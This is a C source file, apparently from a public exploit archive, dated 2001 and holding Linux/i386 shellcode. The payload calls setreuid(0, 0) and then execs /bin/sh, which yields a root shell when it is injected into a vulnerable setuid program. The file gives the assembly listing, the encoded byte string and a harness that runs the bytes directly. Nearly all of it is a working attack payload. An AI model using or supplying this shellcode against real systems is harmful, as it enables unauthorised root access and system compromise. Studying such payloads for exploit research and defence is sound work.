57 lines
No EOL
1.3 KiB
C
57 lines
No EOL
1.3 KiB
C
/*
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* $Id: execve-setreuid.c,v 1.1 2001/05/02 18:10:52 raptor Exp $
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*
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* execve-setreuid.c v1.0 - shellcode for Linux/i386
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* Copyright (c) 2001 Raptor <raptor@0xdeadbeef.eu.org>
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*
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* This shellcode does an execve of /bin/sh
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* after a setreuid(0, 0), then exit()s.
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*
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*/
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/* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
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* ASM Code *
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* * * * * * * * * * * * * * * * * * * * * * * * * * * * *
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* ; setreuid(0, 0)
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* xorl %eax,%eax
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* xorl %ebx,%ebx
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* xorl %ecx,%ecx
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* movb $70,%al
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* int $0x80
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*
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* ; execve(foo[0], foo, 0);
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* jmp 0x1d
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* popl %esi
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* movb %eax,0x7(%esi)
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* movl %eax,0xc(%esi)
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* movl %esi,0x8(%esi)
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* movl %esi,%ebx
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* leal 0x8(%esi),%ecx
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* leal 0xc(%esi),%edx
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* movb $11,%al
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* int $0x80
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*
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* ; exit(0)
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* xorl %eax,%eax
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* xorl %ebx,%ebx
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* incl %eax
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* int $0x80
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*
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* call -0x22
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* .ascii "/bin/sh"
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* * * * * * * * * * * * * * * * * * * * * * * * * * * * */
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char code[] =
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"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
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"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
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"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
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"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
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main()
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{
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int (*funct)();
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funct = (int (*)()) code;
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(int)(*funct)();
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}
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// milw0rm.com [2001-05-07]
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